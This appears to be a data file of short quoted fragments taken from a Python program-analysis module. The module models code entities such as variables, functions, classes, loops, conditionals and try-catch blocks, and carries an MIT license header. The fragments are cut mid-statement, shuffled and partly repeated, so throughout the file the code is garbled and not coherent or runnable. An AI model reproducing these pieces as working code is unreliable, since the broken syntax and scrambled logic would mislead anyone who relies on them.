"'result') else '' prefix = indent * '| ' return", "their own version of this concept: Java has null references,", "class CodeLiteral(CodeExpression): \"\"\"Base class for literal types not present in", "indentation. \"\"\" spaces = ' ' * indent params =", "if hasattr(self, 'result') else '' prefix = indent * '|", "\"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for namespaces. Args:", "codeobj def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "\"\"\"Constructor for null literals. Args: scope (CodeEntity): The program scope", "use as indentation. \"\"\" if self.parenthesis: return '{}({})'.format(' ' *", "\"\"\"Constructor for expressions. Args: scope (CodeEntity): The program scope where", "the class.\"\"\" return self._definition is self def _add(self, codeobj): \"\"\"Add", "paren (bool): Whether the expression is enclosed in parentheses. \"\"\"", "by the programmer. This class represents such omitted arguments. A", "'| ' return '{}[{}:{}] {}{}: {}'.format(prefix, line, col, name, result,", "if definition else None @property def is_definition(self): \"\"\"Whether this is", "self.body.statement(k) if k > o and k < n: return", "(e.g. return statements, control flow, etc.). This class provides common", "(str): The name of the variable in the program. result", "value or when the value is unknown). Additionally, a variable", "is_global(self): \"\"\"Whether this is a global variable. In general, a", "__init__(self, scope, parent): \"\"\"Constructor for switches. Args: scope (CodeEntity): The", "thing should be a module. In Java, it may be", "A default argument has only a return type. \"\"\" def", "filter. Kwargs: recursive (bool): Whether to descend recursively down the", "in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id = id_", "some class, its `member_of` should be set to the corresponding", "class method, its `method_of` should be set to the object", "that control flow branches and functions always have a block", "return self.body.statement(i) return self.else_body.statement(i - o) elif i < 0", "The name of the loop statement in the program. \"\"\"", "variables. This should only be called after the object is", "of the reference in the program. result (str): The return", "2, 3]`) and a type (`result`), and could be enclosed", "CodeStatement.__init__(self, scope, parent) self.expression = expression def _children(self): \"\"\"Yield all", "FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN AN", "return pretty def __repr__(self): \"\"\"Return a string representation of this", "its arguments. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for statements.", "declarations local to this catch block.\"\"\" assert isinstance(declarations, CodeStatement) self.declarations", "return '{}{} {}'.format(indent, self.name, pretty_str(self.value)) return indent + self.name def", "Specific implementations may consider more branches, or default branches (executed", "a `for`).\"\"\" assert isinstance(statement, CodeStatement) self.increment = statement statement.scope =", "on. \"\"\" def __init__(self, scope, parent, paren=False): \"\"\"Constructor for null", "A composite literal has a sequence of values that compose", "def is_assignment(self): \"\"\"Whether this is an assignment operator.\"\"\" return self.name", "THE USE OR OTHER DEALINGS IN #THE SOFTWARE. ############################################################################### #", "self.body.pretty_str(indent=indent + 2) for block in self.catches: pretty += '\\n'", "object.\"\"\" for codeobj in self.variables: yield codeobj def pretty_str(self, indent=0):", "in self.variables: yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable", "for this conditional (the `else` branch).\"\"\" assert isinstance(body, CodeStatement) if", "creating a new list and # returning a custom exception", "in self.catches: pretty += '\\n' + block.pretty_str(indent) if len(self.finally_body) >", "self.increment else '' pretty = '{}for ({}; {}; {}):\\n'.format(spaces, v,", "{} {} {}'.format(self.body, self.catches, self.finally_body) def pretty_str(self, indent=0): \"\"\"Return a", "\"\"\"Whether the called function is a constructor.\"\"\" return self.result ==", "if self.field_of else self.name) return pretty.format(spaces, name) def __str__(self): \"\"\"Return", "such object, instead of `None`. \"\"\" def __init__(self, scope, parent,", "specific types of exceptions. Some languages also allow a `finally`", "hasattr(self, 'result') else '' prefix = indent * '| '", "__init__(self, scope, parent, value, result, paren=False): \"\"\"Constructor for literals. As", "return len(self.arguments) == 3 @property def is_assignment(self): \"\"\"Whether this is", "args) class CodeDefaultArgument(CodeExpression): \"\"\"This class represents a default argument. Some", "indentation. \"\"\" spaces = ' ' * indent condition =", "the default branch.\"\"\" if self.else_branch: return [self.then_branch, self.else_branch] return [self.then_branch]", "statement (e.g. a block), or a function, given that the", "in self.catches: for codeobj in catch_block._children(): yield codeobj for codeobj", "= self.column or 0 name = type(self).__name__ spell = getattr(self,", "OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED", "k = i + 1 o = len(self.body) n =", "(str): The name of the loop statement in the program.", "to this object.\"\"\" assert isinstance(codeobj, CodeStatement) codeobj._si = len(self.body) self.body.append(codeobj)", "as indentation. \"\"\" indent = ' ' * indent values", "\"\"\" assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self, body): \"\"\"Set the", "`try` blocks have a main body of statements, just like", "allow a `finally` block that is executed after the other", "else self._children return [ codeobj for codeobj in source() if", "< n: return self.else_body.statement(k) if k < 0: if k", "\"\"\"This class represents a program class for object-oriented languages. A", "is allowed to have a default branch (the `else` branch),", "also returns a value when contained within a larger expression.", "it is declared directly under the program's global scope or", "\"\"\"Return a string representation of this object.\"\"\" return '[{}] {}", "no better candidates, it is the `scope` and `parent` of", "(CodeEntity): This object's parent in the program tree. Kwargs: explicit", "is_local(self): \"\"\"Whether this is a local variable. In general, a", "subject to the following conditions: #The above copyright notice and", "represents a reference expression (e.g. to a variable). A reference", "(str): The return type of the operator in the program.", "return len(self.body) # ----- Common Entities ------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This", "value (iterable): The initial value sequence in this composition. result", "are assumed to have, at least, one branch (a boolean", "pretty = '{}({})' if self.parenthesis else '{}{}' if self.is_unary: operator", "of spaces to use as indentation. \"\"\" return (' '", "of this object.\"\"\" return '[class {}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This class", "if i < o: return self.body.statement(i) return self.else_body.statement(i - o)", "class) to this object.\"\"\" assert isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction, CodeVariable))", "long, float, bool, basestring, SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS = (int,", "__init__(self, scope, parent, name): \"\"\"Constructor for jump statements. Args: scope", "(CodeEntity): This object's parent in the program tree. value (iterable):", "group multiple program statements together (e.g. functions, code blocks). It", "type of the variable in the program. \"\"\" CodeEntity.__init__(self, scope,", "to have default values when not explicitly provided by the", "\"\"\"Add a child (statement) to this object.\"\"\" assert isinstance(codeobj, (CodeStatement,", "return '[{}] {}'.format(self.result, self.name) class SomeValue(CodeExpression): \"\"\"This class represents an", "a binary operator.\"\"\" return len(self.arguments) == 2 @property def is_ternary(self):", "= len(self.body) n = o + len(self.else_body) if i >=", "program's global scope or a namespace. \"\"\" return isinstance(self.scope, (CodeGlobalScope,", "a filter. Kwargs: recursive (bool): Whether to descend recursively down", "method, its `method_of` should be set to the object on", "'{}({})'.format(self.name, args) return pretty.format(indent, call) def __repr__(self): \"\"\"Return a string", "self.members: yield codeobj def _afterpass(self): \"\"\"Assign the `member_of` of child", "Some value to convert. Kwargs: indent (int): The amount of", "declarations declarations.scope = self.body def _set_body(self, body): \"\"\"Set the main", "pretty class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a try-catch block", "'[{}] {}({})'.format(self.result, self.name, params) class CodeClass(CodeEntity): \"\"\"This class represents a", "= '{{{}}}'.format(', '.join(map(pretty_str, self.value))) if self.parenthesis: return '{}({})'.format(indent, values) return", "The name of the variable in the program. result (str):", "value (e.g. a list `[1, 2, 3]`) and a type", "operator.\"\"\" return len(self.arguments) == 3 @property def is_assignment(self): \"\"\"Whether this", "for code blocks. Args: scope (CodeEntity): The program scope where", "self.else_body.statement(k) if k < 0: if k < o -", "entity.\"\"\" pass def _validity_check(self): \"\"\"Check whether this object is a", "candidates, it is the `scope` and `parent` of all other", "`scope` or `parent`. \"\"\" def __init__(self): \"\"\"Constructor for global scope", "__init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for references. Args:", "(value) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.value = codeobj", "object. Uses `pretty_str` if the given value is an instance", "None @property def is_definition(self): \"\"\"Whether this is a definition or", "for codeobj in source() if isinstance(codeobj, cls) ] def _afterpass(self):", "operators, references and function calls. This class is meant to", "if self.declarations is None else self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent +", "parentheses. \"\"\" try: value = list(value) except TypeError as te:", "'[no spelling]') result = ' ({})'.format(self.result) if hasattr(self, 'result') else", "return '[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1]) return '[{}] {}'.format(self.result, self.name)", "tree. Kwargs: paren (bool): Whether the null literal is enclosed", "OR THE USE OR OTHER DEALINGS IN #THE SOFTWARE. ###############################################################################", "direct children of this object.\"\"\" for codeobj in self.body._children(): yield", "statement(self, i): \"\"\"Return the *i*-th statement of this block.\"\"\" return", "+ ')' pretty += ':\\n' if self.members: pretty += '\\n\\n'.join(", "a given class.\"\"\" codeobj = self.parent while codeobj is not", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" if self.field_of:", "this object.\"\"\" if self.value is not None: return '{} {}'.format(self.name,", "' ' * indent values = '{{{}}}'.format(', '.join(map(pretty_str, self.value))) if", "a class is defined within another class (inner class), it", "and a parent object that should have some variable or", "the construction of a code entity.\"\"\" pass def _validity_check(self): \"\"\"Check", "indent + self.name def __repr__(self): \"\"\"Return a string representation of", "value (e.g. `return 0`). \"\"\" def __init__(self, scope, parent, name):", "_add_default_branch(self, body): \"\"\"Add a default body for this conditional (the", "the program tree. \"\"\" CodeEntity.__init__(self, scope, parent) self._si = -1", "This object's parent in the program tree. result (str): The", "parent, explicit=True): \"\"\"Constructor for code blocks. Args: scope (CodeEntity): The", "(str): The return type of the expression in the program.", "without a value or when the value is unknown). Additionally,", "long, float, bool, basestring, CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This class represents", "self.is_constructor: return '[{}] new {}({})'.format(self.result, self.name, args) if self.method_of: return", "of this object.\"\"\" if isinstance(self.expression, CodeExpression): yield self.expression def pretty_str(self,", "it should indicate whether it is enclosed in parentheses. \"\"\"", "jump statement has a name. In some cases, it may", "the literal is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent,", "parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, 'literal', result, paren) self.value =", "function), a return type, a tuple of its arguments and", "for expression statements. Args: scope (CodeEntity): The program scope where", "is just to avoid creating a new list and #", "statement): \"\"\"Add a branch/case (value and statement) to this switch.\"\"\"", "OTHERWISE, ARISING FROM, #OUT OF OR IN CONNECTION WITH THE", "def _set_finally_body(self, body): \"\"\"Set the finally body for try block", "a type (`result`) and a value (or `None` for variables", "and isinstance(codeobj.arguments[0], CodeReference): var = codeobj.arguments[0].reference if isinstance(var, CodeVariable): var.writes.append(codeobj)", "function is a method of some class, its `member_of` should", "all direct children of this object.\"\"\" # The default implementation", "languages also support ternary operators. Do note that assignments are", "CodeStatementGroup(object): \"\"\"This class is meant to provide common utility methods", "constructs of programming languages, so this implementation might be lackluster.", "this object.\"\"\" return '#' + self.name def __repr__(self): \"\"\"Return a", "isinstance(body, CodeBlock): self.else_body = body else: self.else_body._add(body) def __len__(self): \"\"\"Return", "for this control flow structure.\"\"\" assert isinstance(body, CodeStatement) if isinstance(body,", "special kind of statement for declaring variables within a function,", "parent, name, result, paren) self.arguments = args or () @property", "\"\"\"Whether this is a function definition or just a declaration.\"\"\"", "if the *then* and *else* branches were concatenated, for indexing", "class CodeVariable(CodeEntity): \"\"\"This class represents a program variable. A variable", "Switches are often one of the most complex constructs of", "def __init__(self, scope, parent): \"\"\"Base constructor for code objects. Args:", "else '' pretty = '{}for ({}; {}; {}):\\n'.format(spaces, v, condition,", "\"\"\"Return a human-readable string representation of an object. Uses `pretty_str`", "A composite literal is any type of literal whose value", "self.members.append(codeobj) codeobj.member_of = self def _children(self): \"\"\"Yield all direct children", "common functionality for such statements. In many languages, statements must", "= o + len(self.else_body) if k > 0: if k", "this object.\"\"\" if self.field_of: yield self.field_of def pretty_str(self, indent=0): \"\"\"Return", "an unique `id` that identifies it in the program and", "the variable. If the variable is a *member*/*field*/*attribute* of an", "belongs. parent (CodeEntity): This object's parent in the program tree.", "a unary operator.\"\"\" return len(self.arguments) == 1 @property def is_binary(self):", "self.result == self.name def _add(self, codeobj): \"\"\"Add a child (argument)", "= pretty_str(self.condition) v = self.declarations.pretty_str() if self.declarations else '' i", "for operators. Args: scope (CodeEntity): The program scope where this", "self.members: pretty += '\\n\\n'.join( c.pretty_str(indent + 2) for c in", "for expressions within a program. Expressions can be of many", "@property def then_branch(self): \"\"\"The branch associated with a condition.\"\"\" return", "program statements (as if using a list). \"\"\" def statement(self,", "< o: return self.body.statement(k) if k > o and k", "return type, and a tuple of its arguments. \"\"\" _UNARY_TOKENS", "the program. Kwargs: paren (bool): Whether the expression is enclosed", "is unknown). Additionally, a variable has an `id` which uniquely", "this is a function definition or just a declaration.\"\"\" return", "in self.body._children(): yield codeobj for catch_block in self.catches: for codeobj", "= '{}catch ({}):\\n{}'.format(spaces, decls, body) return pretty ############################################################################### # Helpers", "their body. \"\"\" def __init__(self, scope, parent, explicit=True): \"\"\"Constructor for", "SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,", "scope, parent, name, result, paren=False): \"\"\"Constructor for function calls. Args:", "= args or () @property def is_unary(self): \"\"\"Whether this is", "numbers or booleans. Some languages also support ternary operators. Do", "class. \"\"\" def __init__(self, scope, parent, id_, name, definition=True): \"\"\"Constructor", "default branch. Switches are often one of the most complex", "all direct children of this object.\"\"\" for codeobj in self.children:", "one of the function's parameters. \"\"\" return (isinstance(self.scope, CodeStatement) or", "`id` which uniquely identifies it in the program (useful to", "branch of the conditional.\"\"\" return True, self.else_body def statement(self, i):", "result, paren=False): \"\"\"Constructor for expressions. Args: scope (CodeEntity): The program", "paren) self.full_name = name self.arguments = () self.method_of = None", "string representation of this object.\"\"\" return repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup):", "' ' + p.name, self.parameters)) if self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces,", "files (the \"Software\"), to deal #in the Software without restriction,", "string representation of this object.\"\"\" return self.__repr__() def __repr__(self): \"\"\"Return", "which uniquely identifies it in the program (useful to resolve", "type (`result`), a list of parameters and a body (a", "(c) 2017 <NAME> # #Permission is hereby granted, free of", "members (variables, functions), a list of superclasses, and a list", "= [] self.explicit = explicit def statement(self, i): \"\"\"Return the", "is fully built. \"\"\" if hasattr(self, '_fi'): return fi =", "all the children of this object, that is no children.", "representation of this object.\"\"\" return '{} {}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow):", "spaces to use as indentation. \"\"\" spaces = ' '", "objects. It is also the only object that does not", "a programming scope (e.g. the function or code block they", "that write new values to the variable. If the variable", "+ 1 o = len(self.body) n = o + len(self.else_body)", "values that compose it (`values`), a type (`result`), and it", "holds. \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for loops.", "= None self.references = [] self._definition = self if definition", "the object is fully built. \"\"\" for codeobj in self.members:", "__init__(self, scope, parent, name): \"\"\"Constructor for namespaces. Args: scope (CodeEntity):", "to deal #in the Software without restriction, including without limitation", "return '[{}] {}({})'.format(self.result, self.name, params) class CodeClass(CodeEntity): \"\"\"This class represents", "to this switch.\"\"\" self.default_case = statement def pretty_str(self, indent=0): \"\"\"Return", "and/or sell #copies of the Software, and to permit persons", "{}({})'.format(self.result, self.name, self.arguments[0]) if self.is_binary: return '[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name,", "statement group.\"\"\" return len(self.body) # ----- Common Entities ------------------------------------------------------- class", "languages allow expressions to be statements on their own. A", "jump statement (e.g. `return`, `break`). A jump statement has a", "string representation of this object.\"\"\" args = ', '.join(map(str, self.arguments))", "self.declarations if isinstance(self.condition, CodeExpression): yield self.condition if self.increment: yield self.increment", "child (namespace, function, variable, class) to this object.\"\"\" assert isinstance(codeobj,", "the program tree. name (str): The name of the operator", "MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO", "and codeobj.is_assignment: if codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference): var = codeobj.arguments[0].reference", "object.\"\"\" for codeobj in self.parameters: yield codeobj for codeobj in", "name (str): The name of the function in the program.", "all direct children of this object.\"\"\" for codeobj in self.variables:", "is a function parameter.\"\"\" return (isinstance(self.scope, CodeFunction) and self in", "function's parameters. \"\"\" return (isinstance(self.scope, CodeStatement) or (isinstance(self.scope, CodeFunction) and", "*member*/*field*/*attribute* of an object, `member_of` should contain a reference to", "type (`result`). Also, an expression should indicate whether it is", "object.\"\"\" assert isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj) def _children(self):", "result, paren) self.full_name = name self.arguments = () self.method_of =", "= self codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "where this object belongs. parent (CodeEntity): This object's parent in", "`member_of` should contain a reference to such object, instead of", "A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE", "codeobj in self.body._children(): yield codeobj def __repr__(self): \"\"\"Return a string", "the program tree. id: An unique identifier for this class.", "this switch.\"\"\" self.cases.append((value, statement)) def _add_default_branch(self, statement): \"\"\"Add a default", "types.\"\"\" def __init__(self, result): \"\"\"Constructor for unknown values.\"\"\" CodeExpression.__init__(self, None,", "the root object of a program. If there are no", "def _add_default_branch(self, statement): \"\"\"Add a default branch to this switch.\"\"\"", "is no children.\"\"\" return iter(()) SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING =", "'[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES = (int, long, float, bool, basestring,", "indent) + self.__str__() def ast_str(self, indent=0): \"\"\"Return a minimal string", "\"\"\"Constructor for control flow structures. Args: scope (CodeEntity): The program", "= '{}for ({}; {}; {}):\\n'.format(spaces, v, condition, i) pretty +=", "indent condition = pretty_str(self.condition) pretty = '{}if ({}):\\n'.format(spaces, condition) pretty", "for codeobj in self.body: yield codeobj def pretty_str(self, indent=0): \"\"\"Return", "paren) self.value = value def pretty_str(self, indent=0): \"\"\"Return a human-readable", "this variable. name (str): The name of the variable in", "\"\"\" def statement(self, i): \"\"\"Return the *i*-th statement from the", "This code is just to avoid creating a new list", "in the program. result (str): The type of the variable", "paren (bool): Whether the literal is enclosed in parentheses. \"\"\"", "self.declarations: yield self.declarations if isinstance(self.condition, CodeExpression): yield self.condition if self.increment:", "#of this software and associated documentation files (the \"Software\"), to", "(CodeEntity): This object's parent in the program tree. name (str):", "\"/\", \"%\", \"<\", \">\", \"<=\", \">=\", \"==\", \"!=\", \"&&\", \"||\",", "body for try block structure.\"\"\" assert isinstance(body, CodeBlock) self.finally_body =", "self.name, pretty_str(self.value)) def __repr__(self): \"\"\"Return a string representation of this", "of the Software. #THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT", "a variable has an `id` which uniquely identifies it in", "* indent, pretty_str(self.value)) return pretty_str(self.value, indent=indent) def __repr__(self): \"\"\"Return a", "is meant to be inherited from, and not instantiated directly.", "+= ':\\n' if self.members: pretty += '\\n\\n'.join( c.pretty_str(indent + 2)", "branches and functions always have a block as their body.", "self.is_binary: return '[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1]) return '[{}] {}'.format(self.result,", "self.body._children(): yield codeobj for codeobj in self.else_body._children(): yield codeobj def", "child objects. This should only be called after the object", "def __init__(self, scope, parent, result, value=(), paren=False): \"\"\"Constructor for a", "object.\"\"\" return 'try {} {} {}'.format(self.body, self.catches, self.finally_body) def pretty_str(self,", "null literal is enclosed in parentheses. \"\"\" CodeLiteral.__init__(self, scope, parent,", "structures. Args: scope (CodeEntity): The program scope where this object", "\"\"\"Add a child (statement) to this object.\"\"\" assert isinstance(codeobj, CodeStatement)", "string representation of this object.\"\"\" return '[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES", "of the statement in the program. \"\"\" CodeStatement.__init__(self, scope, parent)", "\"\"\"Return a string representation of this object.\"\"\" return '#' +", "= None def walk_preorder(self): \"\"\"Iterates the program tree starting from", "+ (codeobj,) def _set_method(self, codeobj): \"\"\"Set the object on which", "scope, parent, 'if') self.else_body = CodeBlock(scope, self, explicit=False) @property def", "a list `[1, 2, 3]`) and a type (`result`), and", "or object.\"\"\" return isinstance(self.scope, CodeClass) def _add(self, codeobj): \"\"\"Add a", "self.superclasses: superclasses = ', '.join(self.superclasses) pretty += '(' + superclasses", "() @property def is_unary(self): \"\"\"Whether this is a unary operator.\"\"\"", "Some languages, such as C++, allow function parameters to have", "# Language Model ############################################################################### class CodeEntity(object): \"\"\"Base class for all", "tree. name (str): The name of the namespace in the", "# an empty iterator. return iter(()) def _lookup_parent(self, cls): \"\"\"Lookup", "global variable. In general, a variable is *global* if it", "self.parenthesis: return '{}({})'.format(indent, values) return '{}{}'.format(indent, values) def __repr__(self): \"\"\"Return", "scope or a namespace. \"\"\" return isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property", "as indentation. \"\"\" if isinstance(something, CodeEntity): return something.pretty_str(indent=indent) else: return", "self.walk_preorder if recursive else self._children return [ codeobj for codeobj", "`parent` of all other objects. It is also the only", "class is meant to be inherited from, and not instantiated", "class for object-oriented languages. A class typically has a name,", "group.\"\"\" return len(self.body) # ----- Common Entities ------------------------------------------------------- class CodeVariable(CodeEntity):", "object. \"\"\" def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor", "CodeStatement.__init__(self, scope, parent) self.name = name self.condition = True self.body", "variable has an `id` which uniquely identifies it in the", "to use as indentation. \"\"\" if self.parenthesis: return (' '", "name (str): The name of the operator in the program.", "codeobj in self.body._children(): yield codeobj for catch_block in self.catches: for", "function is a constructor.\"\"\" return self.result == self.name def _add(self,", "has a value (e.g. a list `[1, 2, 3]`) and", "body that should be repeated while the condition holds. \"\"\"", "\"\"\"Return a string representation of this object.\"\"\" params = ',", "def is_unary(self): \"\"\"Whether this is a unary operator.\"\"\" return len(self.arguments)", "program (useful to resolve references), a list of references to", "object's parent in the program tree. Kwargs: paren (bool): Whether", "`return`, `break`). A jump statement has a name. In some", "\"\"\"Yield all direct children of this object.\"\"\" if self.field_of: yield", "{}:\\n'.format(spaces, self.name) pretty += '\\n\\n'.join(c.pretty_str(indent + 2) for c in", "literals are used for those. A literal has a value", "\"\"\"Constructor for classes. Args: scope (CodeEntity): The program scope where", "implementations may consider more branches, or default branches (executed when", "\"\"\" def __init__(self, scope, parent, value, result, paren=False): \"\"\"Constructor for", "\"\"\" spaces = ' ' * indent pretty = '{}({})'", "the branch value. It may also have a default branch.", "the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id = id self.name", "TypeError as te: raise AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent, value, result,", "self.member_of is not None def _add(self, codeobj): \"\"\"Add a child", "`scope` and `parent` of all other objects. It is also", "a type (`result`), and it should indicate whether it is", "permit persons to whom the Software is #furnished to do", "if k > o and k < n: return self.else_body.statement(k)", "CodeStatementGroup): \"\"\"This class represents a code block (e.g. `{}` in", "name self.children = [] def _add(self, codeobj): \"\"\"Add a child", "* indent condition = pretty_str(self.condition) pretty = '{}if ({}):\\n'.format(spaces, condition)", "return self.else_body.statement(k) if k < 0: if k < o", "`for` loops). Control flow statements are assumed to have, at", "this object, that is no children. This class inherits from", "expression in the program. result (str): The return type of", "function-local index to each child object and register write operations", "\"\"\"Whether this function is a class constructor.\"\"\" return self.member_of is", "n = len(self.body) + len(self.catches) + len(self.finally_body) n += sum(map(len,", "try: return self.statement(i + 1) except IndexError as e: return", "name self.result = result self.parameters = [] self.body = CodeBlock(self,", "a string representation of this object.\"\"\" return '[{}] {} =", "of an object, `field_of` should be set to that object.", "self.declarations = declarations declarations.scope = self.body def _set_increment(self, statement): \"\"\"Set", "for literal types not present in Python. This class is", "\"\"\"Yield all direct children of this object.\"\"\" for codeobj in", "calls. Args: scope (CodeEntity): The program scope where this object", "return self.body[i] def _add(self, codeobj): \"\"\"Add a child (statement) to", "SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL", "`member_of` set to the corresponding class. \"\"\" def __init__(self, scope,", "tuple of arguments. paren (bool): Whether the expression is enclosed", "return something.pretty_str(indent=indent) else: return (' ' * indent) + repr(something)", "collections of statements, while being considered a statement themselves. Some", "expression (e.g. `a + b`). Operators can be unary or", "\"\"\"Return a string representation of this object.\"\"\" return '{} {}'.format(self.name,", "The default implementation has no children, and thus should return", "(CodeEntity): This object's parent in the program tree. \"\"\" CodeEntity.__init__(self,", "the tree. \"\"\" source = self.walk_preorder if recursive else self._children", "a method is called.\"\"\" assert isinstance(codeobj, CodeExpression) self.method_of = codeobj", "the program. result (str): The return type of the operator", "def is_global(self): \"\"\"Whether this is a global variable. In general,", "= statement def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "indentation. \"\"\" spaces = ' ' * indent return spaces", "def is_parameter(self): \"\"\"Whether this is a function parameter.\"\"\" return (isinstance(self.scope,", "self.expression = expression def _children(self): \"\"\"Yield all direct children of", "the object's `body`.\"\"\" return self.statement(i) def __len__(self): \"\"\"Return the length", "operators. Do note that assignments are often considered expressions, and,", "in the program. \"\"\" CodeControlFlow.__init__(self, scope, parent, name) self.declarations =", "*global* if it is declared directly under the program's global", "self in self.scope.parameters) @property def is_member(self): \"\"\"Whether this is a", "when the condition is met). Specific implementations may consider more", "\"\"\" CodeEntity.__init__(self, scope, parent) self.id = id_ self.name = name", "return '[{}] #{}'.format(self.result, self.name) class CodeOperator(CodeExpression): \"\"\"This class represents an", "scope, parent) self.variables = [] def _add(self, codeobj): \"\"\"Add a", "\"\"\" for codeobj in self.members: if not codeobj.is_definition: if not", "return self._definition is self @property def is_constructor(self): \"\"\"Whether this function", "statements. Programming languages often define diverse types of statements (e.g.", "are no better candidates, it is the `scope` and `parent`", "has a name, an unique `id`, a list of members", "\"\"\" CodeStatement.__init__(self, scope, parent) self.name = name self.value = None", "(`result`), and could be enclosed in parentheses. It does not", "C++, Java, etc. This model assumes that control flow branches", "catch statements within a try-catch block.\"\"\" def __init__(self, scope, parent):", "None def _add_branch(self, value, statement): \"\"\"Add a branch/case (value and", "= (\"+\", \"-\", \"*\", \"/\", \"%\", \"<\", \">\", \"<=\", \">=\",", "self.method_of.name, self.name, args) return '[{}] {}({})'.format(self.result, self.name, args) class CodeDefaultArgument(CodeExpression):", "message. o = len(self.body) n = o + len(self.else_body) if", "pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of this object.", "expression (e.g. to a variable). A reference typically has a", "############################################################################### class CodeEntity(object): \"\"\"Base class for all programming entities. All", "o = len(self.body) n = o + len(self.else_body) if k", "assert isinstance(codeobj, CodeExpression) self.method_of = codeobj def _children(self): \"\"\"Yield all", "if self.else_body: pretty += '\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent + 2)", "expression def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "called. \"\"\" def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor", "the program tree starting from this object, going down.\"\"\" yield", "# ----- Common Entities ------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This class represents", "< o: return self.body.statement(i) return self.else_body.statement(i - o) elif i", "class CodeLoop(CodeControlFlow): \"\"\"This class represents a loop (e.g. `while`, `for`).", "is enclosed in parentheses. \"\"\" def __init__(self, scope, parent, name,", "parent, name): \"\"\"Constructor for jump statements. Args: scope (CodeEntity): The", "where each branch is a pair of condition and respective", "_set_field(self, codeobj): \"\"\"Set the object that contains the attribute this", "\"\"\"Add a default body for this conditional (the `else` branch).\"\"\"", "to be statements on their own. A common example is", "return None def get_branches(self): \"\"\"Return a list with the conditional", "this class. name (str): The name of the class in", "that the variable is not one of the function's parameters.", "tree. id: An unique identifier for this class. name (str):", "down the tree. \"\"\" source = self.walk_preorder if recursive else", "shall be included in #all copies or substantial portions of", "args = ', '.join(map(str, self.arguments)) if self.is_constructor: return '[{}] new", "all direct children of this object.\"\"\" for codeobj in self.body:", "KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED TO THE", "to permit persons to whom the Software is #furnished to", "type (`result`) and a value (or `None` for variables without", "in the program tree. \"\"\" CodeEntity.__init__(self, scope, parent) self._si =", "self.field_of = codeobj def _children(self): \"\"\"Yield all direct children of", "' ' * indent condition = pretty_str(self.condition) v = self.declarations.pretty_str()", "just a declaration.\"\"\" return self._definition is self @property def is_constructor(self):", "(str): The name of the namespace in the program. \"\"\"", "{}; {}):\\n'.format(spaces, v, condition, i) pretty += self.body.pretty_str(indent=indent + 2)", "statement_after(self, i): \"\"\"Return the statement after the *i*-th one, or", "is returned. \"\"\" return iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents", "len(self.catches) + len(self.finally_body) n += sum(map(len, self.catches)) return n def", "pretty = '{}namespace {}:\\n'.format(spaces, self.name) pretty += '\\n\\n'.join(c.pretty_str(indent + 2)", "catch block (exception variable declaration and block) to this try", "basestring, SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS = (int, long, float, bool,", "programming languages are list literals, often constructed as `[1, 2,", "self.else_body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "if self.value is not None: return '{}{} {}'.format(indent, self.name, pretty_str(self.value))", "types of exceptions. Some languages also allow a `finally` block", "isinstance(self.condition, CodeExpression): yield self.condition if self.increment: yield self.increment for codeobj", "this object.\"\"\" args = ', '.join(map(str, self.arguments)) if self.is_constructor: return", "None, result, result) def _children(self): \"\"\"Yield all the children of", "# The default implementation has no children, and thus should", "`field_of` should be set to that object. \"\"\" def __init__(self,", "\"\"\"Return a string representation of this object.\"\"\" return self.__repr__() def", "_add(self, codeobj): \"\"\"Add a child (value) to this object.\"\"\" assert", "considered expressions, and, as such, assignment operators are included here.", "self.increment = statement 